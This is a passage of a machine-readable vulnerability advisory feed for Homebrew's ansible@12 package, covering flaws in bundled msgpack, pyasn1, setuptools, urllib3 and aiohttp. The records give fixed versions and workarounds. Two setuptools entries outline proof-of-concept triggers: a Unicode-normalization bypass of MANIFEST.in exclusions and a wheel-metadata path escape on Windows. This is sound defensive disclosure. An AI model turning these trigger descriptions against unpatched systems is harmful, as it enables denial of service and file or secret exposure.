validated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/954"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-57585","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-6v7p-g79w-8964","CVE-2026-57585","PYSEC-2026-3625"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.2","key":"pkg:pypi/msgpack@1.2.2","resource":"msgpack"}]},"summary":"MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error","details":"### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-59884","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884","PYSEC-2026-3455"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","details":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59884"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-59885","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885","PYSEC-2026-3456"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","details":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-59886","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886","PYSEC-2026-3457"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","details":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-59890","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-97687","published":"2026-09-30T18:43:25Z","modified":"2026-10-02T08:49:32Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-97689","published":"2026-09-30T18:43:25Z","modified":"2026-10-02T08:49:32Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-GHSA-2g87-pp6c-29x5","published":"2026-10-21T08:46:30Z","modified":"2026-11-10T08:42:06Z","upstream":["GHSA-2g87-pp6c-29x5","CVE-2026-123817"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nWhile reassembling a WebSocket frame that arrived across many small transport reads, the reader kept one `bytes` object per read with no bound on the count. The per-object overhead is many times larger than the payload bytes, so a frame delivered a few bytes at a time could use far more memory than `max_msg_size` allows.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending a frame in a large number of tiny segments.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-GHSA-xmj3-9gf7-h52w","published":"2026-10-29T21:29:09Z","modified":"2026-10-29T21:29:09Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    